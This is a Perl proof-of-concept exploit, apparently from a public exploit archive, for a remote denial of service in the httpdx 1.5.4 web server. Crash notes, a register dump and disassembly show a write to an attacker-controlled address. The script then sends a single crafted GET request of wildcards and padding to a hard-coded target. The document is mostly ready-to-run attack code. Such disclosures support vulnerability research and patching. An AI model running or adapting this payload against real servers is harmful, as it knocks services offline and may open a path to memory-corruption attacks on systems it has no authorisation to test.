#!/usr/bin/perl -w
#======================================================================
# Exploit Title: httpdx v1.5.4 Remote HTTP Server DoS (using wildcards)
# Date: 18 July 2012
# Exploit Author: st3n [at sign] funoverip [dot] net
# Vendor Homepage: http://httpdx.sourceforge.net
# Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download
# Version: 1.5.4
# Tested on: WinXP SP3
#======================================================================
# Additional notes:
# - One request is enough
# - On crash: Access violation when writing to [41414141]
# - The value x01 is written to [EDI] at the following instruction
# MOV BYTE PTR DS:[EDI],AL
#
# In msvcrt.dll
# -------------
#
# 77C470D0 8A06 MOV AL,BYTE PTR DS:[ESI]
# 77C470D2 8807 MOV BYTE PTR DS:[EDI],AL <===== HERE
# 77C470D4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
# 77C470D7 5E POP ESI
# 77C470D8 5F POP EDI
# 77C470D9 C9 LEAVE
# 77C470DA C3 RETN
#
# Registers
# -------------
#
# EAX 41414101
# ECX FFFFFFFD
# EDX 00000003
# EBX 00423001 ASCII "&>"
# ESP 01058B9C
# EBP 01058BA4
# ESI 003EA2E0
# EDI 41414141 <============= HERE
# EIP 77C470D2 msvcrt.77C470D2
#
# Crash output :
# --------------
# httpdx 1.5.4 - Started
#
# [http/ftp]://192.168.0.10/
#
# ffs wtf happened?
#
#======================================================================
#======================================================================
# PoC code
#======================================================================
use strict;
use IO::Socket::INET;
my $host = "192.168.0.10";
my $sock = IO::Socket::INET->new("$host:80");
# EDI addr
my $EDI =
"\x7A" . # = 0x41 + 0x39
"\x32" . # = 0x41 - 0x0F
"\x41" .
"\x41" ;
print $sock "GET /" . "*" x 2450 .
"A" x 12 .
$EDI .
"C" x 528 . " HTTP/1.0\r\n" .
"Host: $host" . "\r\n\r\n" ;
exit;